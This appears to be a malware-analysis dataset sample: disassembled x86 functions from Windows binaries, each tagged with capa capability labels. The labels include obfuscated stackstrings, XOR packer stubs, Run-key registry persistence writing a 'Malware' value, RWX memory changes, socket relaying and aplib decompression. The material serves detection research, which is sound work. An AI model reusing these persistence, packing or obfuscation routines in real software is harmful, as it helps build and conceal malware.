joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401da4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.00401173
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00401128
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.00401163
or dx, word gs:[eax]
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x401e57
cmp dword [ebp - 0x398], 0
je 0x402021
cmp dword [ebp + 0xc], 1
je 0x402021
cmp dword [ebp + 0xc], 8
jne 0x401fe9
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
invalid
invalid
push esp

Function at 0x40317d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
das
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x4031b2
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x4031f9
lea eax, [ebp - 0x714]
push eax
call fcn.00401173
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00401128
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x403204
jmp 0x403209
jmp 0x402b05
cmp dword [ebp - 0x37c], 0
jne 0x4032b3
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x7e8], eax
and dword [ebp - 0x7e0], 0
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x7e4], eax
push dword [ebp - 0x7e4]
lea eax, [ebp - 0x7ec]
push eax
push dword [ebp - 0x748]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040133f
add esp, 0x14
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x40329f
lea eax, [ebp - 0x714]
push eax
call fcn.00401173
pop ecx
push eax
push dword [ebp - 0x7e0]
call fcn.00401208
pop ecx
pop ecx
mov dword [ebp - 0x37c], eax
push dword [ebp - 0x7e4]
push 1
push dword [ebp - 0x674]
call dword [ebp - 0x39c]
push dword [ebp + 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 0x540]
push dword [ebp - 0x684]
push dword [ebp - 0x688]
push dword [ebp - 0x3ac]
push dword [ebp - 0x400]
push dword [ebp - 0x54c]
push dword [ebp - 0x678]
lea eax, [ebp - 0x334]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [ebp - 0x37c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40bed9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x412284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405c36
and dword [ebp - 0x14], 0
cmp dword [0x413b50], 0
mov dword [ebp - 0x18], eax
jne 0x40bf8c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c034
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40c034
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x413b50], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x413b54], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x413b58], eax
call edi
push eax
call esi
mov dword [0x413b60], eax
test eax, eax
je 0x40bf8c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x413b5c], eax
mov eax, dword [0x413b5c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40bfe5
cmp dword [0x413b60], ecx
je 0x40bfe5
push eax
call esi
push dword [0x413b60]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40bfe5
test ebx, ebx
je 0x40bfe5
call edi
test eax, eax
je 0x40bfdc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40bfdc
test byte [ebp - 8], 1
jne 0x40bfe5
or dword [ebp + 0x10], 0x200000
jmp 0x40c018
mov eax, dword [0x413b54]
cmp eax, dword [ebp - 0x18]
je 0x40c018
push eax
call esi
test eax, eax
je 0x40c018
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c018
mov eax, dword [0x413b58]
cmp eax, dword [ebp - 0x18]
je 0x40c018
push eax
call esi
test eax, eax
je 0x40c018
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x413b50]
call esi
test eax, eax
je 0x40c034
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c036
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401da4
leave
ret
Function at 0x401334
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call sym.___main
mov dword [ebp - 0xc], str._D:Crack.exe_
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x4013de
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Malware
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Programme_ajout
call sym._puts
jmp 0x4013ea
mov dword [esp], str.Erreur_lors_de_lacc
call sym._puts
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x4015e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sym._fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
lea edi, [edi]
Function at 0x401640
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401736
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x4016b0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x401685
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sym._memcpy
cmp byte [esp + 0x1f], 0
je 0x401695
cmp byte [esp + 0x1e], 0
je 0x401695
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x401695
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call sym.___report_error
nop

Function at 0x4019d0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x405030
call sym._EnterCriticalSection_4
mov ebx, dword [0x405048]
sub esp, 4
test ebx, ebx
je 0x401a1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401a14
test esi, esi
je 0x401a14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4019f0
mov dword [esp], 0x405030
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x2d044970
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x46ce43b4
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
nop
mov ecx, 0x53966569
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x464f5890
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4020e4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [0x404dd8]
cmp eax, 0x270
jl 0x4020b0
push esi
push edi
xor edx, edx
mov esi, accept
mov ecx, edx
mov eax, dword [ecx*4 + 0x404414]
xor eax, dword [ecx*4 + 0x404410]
and eax, esi
xor eax, dword [ecx*4 + 0x404410]
mov edi, eax
shr eax, 1
and edi, 1
xor eax, dword [edi*4 + section..data]
xor eax, dword [ecx*4 + 0x404a44]
inc edx
mov dword [ecx*4 + 0x404410], eax
cmp edx, 0xe3
jl 0x402009
cmp edx, 0x26f
jge 0x402082
lea ecx, [edx*4 + 0x404410]
mov eax, dword [ecx]
xor eax, dword [ecx + 4]
and eax, esi
xor eax, dword [ecx]
mov edi, eax
and edi, 1
mov edi, dword [edi*4 + section..data]
xor edi, dword [ecx - 0x38c]
shr eax, 1
xor edi, eax
mov dword [ecx], edi
add ecx, 4
cmp ecx, 0x404dcc
jl 0x402056
mov ecx, dword [0x404dcc]
mov eax, dword [0x404410]
xor eax, ecx
and eax, esi
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
xor eax, dword [ecx*4 + section..data]
pop edi
xor eax, dword [0x404a40]
pop esi
mov dword [0x404dcc], eax
xor eax, eax
mov ecx, dword [eax*4 + 0x404410]
inc eax
mov dword [0x404dd8], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
cmp eax, dword [0x40440c]
je 0x40212b
xor ecx, ecx
mov dword [0x40440c], eax
mov dword [0x404410], eax
inc ecx
mov eax, 0x404410
push esi
mov edx, dword [eax]
mov esi, edx
shr esi, 0x1e
xor esi, edx
imul esi, esi, 0x6c078965
add esi, ecx
mov dword [eax + 4], esi
add eax, 4
inc ecx
cmp eax, 0x404dcc
jl 0x402105
mov dword [0x404dd8], ecx
pop esi
jmp 0x401ff0

Function at 0x402130
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov ebx, eax
xor esi, esi
lea eax, [ebp - 8]
push eax
push esi
push esi
lea eax, [ebp - 0x10c]
push eax
push esi
mov dword [ebp - 8], 0x1e
mov dword [ebp - 4], esi
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x108], edi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x402198
push esi
push ebx
push dword [ebp + 8]
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jle 0x402198
add dword [ebp + 8], eax
sub ebx, eax
cmp ebx, esi
jg 0x40213f
xor eax, eax
cmp ebx, esi
sete al
pop esi
pop ebx
leave
ret 4
xor al, al
jmp 0x402192
Function at 0x40221b
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x524
mov eax, dword [0x404ddc]
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0x186a0
jmp 0x4022c9
cmp dword [ebp - 0x10], esi
je 0x40225f
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x102
jne 0x4022fe
cmp dword [ebp - 8], esi
jle 0x4022c9
mov dword [ebp - 0xc], esi
cmp dword [ebp - 0x124], esi
jbe 0x4022c9
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x120]
cmp eax, ebx
jne 0x402285
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
jmp 0x402288
mov dword [ebp - 8], ebx
push esi
push 0x400
lea ecx, [ebp - 0x524]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x14], eax
cmp eax, 1
jl 0x4022fe
push esi
push eax
lea eax, [ebp - 0x524]
push eax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp - 0x14]
jne 0x4022fe
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x124]
jb 0x40226f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
lea eax, [ebp - 0x124]
push eax
push esi
mov dword [ebp - 0x124], 2
mov dword [ebp - 0x120], ebx
call edi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x402245
pop edi
pop esi
leave
ret 4

Function at 0x402304
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
cmp esi, 0x40
jb 0x402317
or eax, 0xffffffff
leave
ret
push edi
mov eax, esi
shl eax, 2
push eax
push ebx
lea eax, [ebp - 0x108]
xor edi, edi
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 4], edi
mov dword [ebp - 0x10c], esi
call fcn.00401d17
lea eax, [ebp - 8]
push eax
push edi
push edi
lea eax, [ebp - 0x10c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, edi
jne 0x402366
push 0x274c
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
pop edi
leave
ret
cmp eax, 0xffffffff
je 0x402360
xor eax, eax
cmp esi, edi
jbe 0x402360
xor edx, edx
cmp dword [ebp - 0x10c], edi
jbe 0x402390
mov ecx, dword [ebx + eax*4]
cmp dword [ebp + edx*4 - 0x108], ecx
je 0x402397
inc edx
cmp edx, dword [ebp - 0x10c]
jb 0x40237e
inc eax
cmp eax, esi
jb 0x402371
jmp 0x402360
mov eax, ecx
jmp 0x402363

Function at 0x4023b1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp eax, 0xffffffff
jne 0x4023c0
call fcn.00401ed5
xor edx, edx
push edx
cmp byte [0x404dd1], dl
je 0x4023e4
lea edx, [ebp - 4]
push edx
add eax, eax
push eax
push ecx
push dword [0x404408]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 4]
leave
ret
lea edx, [ebp - 8]
push edx
push eax
push ecx
push dword [0x404408]
call dword [sym.imp.KERNEL32.DLL_WriteConsoleW]
mov eax, dword [ebp - 8]
leave
ret
Function at 0x4025f4
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push 0xfffffffffffffff5
mov dword [0x404dd4], eax
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
mov dword [0x404408], eax
call dword [sym.imp.KERNEL32.DLL_GetFileType]
cmp eax, 2
jne 0x402634
lea eax, [esp]
push eax
push dword [0x404408]
call dword [sym.imp.KERNEL32.DLL_GetConsoleMode]
mov byte [0x404dd1], 0
test eax, eax
jne 0x40263b
mov byte [0x404dd1], 1
push ebx
push ebp
push esi
push edi
xor edx, edx
push 0x214
push edx
push 0x404de0
mov dword [0x40440c], edx
mov byte [0x404dd0], dl
call fcn.00401d2e
push 0x104
mov esi, 0x404dec
push esi
push edx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
xor ebx, ebx
inc ebx
push 0x404de8
mov dword [0x404de0], ebx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebp, dword [0x404de8]
mov edi, eax
mov dword [0x404de4], edi
cmp ebp, 2
jge 0x4026b3
call fcn.004025de
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
call fcn.00402587
jmp 0x402785
cmp ebp, ebx
jle 0x4026df
mov esi, dword [edi + 4]
xor bl, bl
movzx eax, bl
imul eax, eax, 0x14
push dword [eax + 0x401354]
or edx, 0xffffffff
mov eax, edx
mov ecx, esi
call fcn.00401ee9
test eax, eax
je 0x4026f9
inc bl
cmp bl, 1
jb 0x4026bc
xor esi, esi
test esi, esi
jne 0x402707
call fcn.004025de
mov eax, dword [0x404de4]
push dword [eax + 4]
push 0x40145c
jmp 0x402741
movzx esi, bl
imul esi, esi, 0x14
add esi, 0x401354
jmp 0x4026e1
movzx eax, byte [esi + 0x10]
push eax
push dword [esi + 0xc]
push ebp
push edi
call fcn.00402434
mov edi, eax
test edi, edi
je 0x40274a
call fcn.004025de
mov ecx, dword [0x404de4]
mov eax, edi
shr eax, 0x10
push dword [ecx + eax*4]
cmp di, 1
jne 0x40273c
push 0x401498
jmp 0x402741
push 0x4014d0
call fcn.004023fb
pop ecx
pop ecx
jmp 0x402785
mov eax, dword [0x404de8]
add eax, 0xfffffffe
push 0x40131c
push eax
mov eax, dword [0x404de4]
add eax, 8
push eax
call fcn.00402506
cmp eax, 1
je 0x402770
call fcn.004025de
mov edx, dword [0x404de8]
mov ecx, dword [0x404de4]
add edx, 0xfffffffe
add ecx, 8
call dword [esi + 8]
mov eax, dword [0x404de4]
pop edi
pop esi
pop ebp
pop ebx
test eax, eax
je 0x402799
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [0x404de0]
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43e004]
jne 0x40100a
repz ret
jmp fcn.004018f4

Function at 0x4067a8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040261d
and dword [ebp - 4], 0
cmp dword [0x43fcdc], 0
mov ebx, eax
jne 0x406859
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40690a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40690a
push eax
call fcn.004025ab
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43fcdc], eax
call esi
push eax
call fcn.004025ab
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43fce0], eax
call esi
push eax
call fcn.004025ab
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43fce4], eax
call esi
push eax
call fcn.004025ab
pop ecx
mov dword [0x43fcec], eax
test eax, eax
je 0x406859
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004025ab
pop ecx
mov dword [0x43fce8], eax
mov eax, dword [0x43fce8]
cmp eax, ebx
je 0x4068b1
cmp dword [0x43fcec], ebx
je 0x4068b1
push eax
call fcn.00402626
push dword [0x43fcec]
mov esi, eax
call fcn.00402626
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4068b1
test edi, edi
je 0x4068b1
call esi
test eax, eax
je 0x4068a8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4068a8
test byte [ebp - 0xc], 1
jne 0x4068b1
or dword [ebp + 0x10], 0x200000
jmp 0x4068ea
mov eax, dword [0x43fce0]
cmp eax, ebx
je 0x4068ea
push eax
call fcn.00402626
pop ecx
test eax, eax
je 0x4068ea
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4068ea
mov eax, dword [0x43fce4]
cmp eax, ebx
je 0x4068ea
push eax
call fcn.00402626
pop ecx
test eax, eax
je 0x4068ea
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43fcdc]
call fcn.00402626
pop ecx
test eax, eax
je 0x40690a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40690c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x439c10
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
cmp edi, 0x19f
jne 0x439c29
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
test edi, edi
jle 0x439c71
nop
lea ecx, [esp + 8]
mov dword [esp], 5
mov dword [esp + 8], 0
call fcn.00439c00
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp], eax
sub dword [esp], 0x46
movsx eax, byte [edx + esi]
mov dword [esp + 4], eax
mov eax, dword [esp]
xor dword [esp + 4], eax
mov cl, byte [esp + 4]
mov byte [edx + esi], cl
inc edx
cmp edx, edi
jl 0x439c30
cmp edi, 0x2d
jne 0x439c8a
mov dword [0x2b3def8], 0xa62e7790
mov dword [0x2b3defc], 0xffffffff
add esp, 0xc
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0xde2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00de21a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xde207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xde206a
add dl, dl
jne 0xde2089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xde20dc
xor eax, eax
add dl, dl
jne 0xde2096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xde217d
add dl, dl
jne 0xde20a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde20b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde20bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde20c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xde20d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xde2075
mov eax, 1
add dl, dl
jne 0xde20ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xde20f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xde20e1
sub eax, ebx
mov ebx, 1
jne 0xde2128
mov ecx, 1
add dl, dl
jne 0xde210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xde2119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xde2105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xde2075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xde213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xde214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xde2136
cmp eax, 0x7d00
jae 0xde216d
cmp eax, 0x500
jb 0xde2168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xde2075
cmp eax, 0x7f
ja 0xde2170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xde2075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xde219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xde2075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10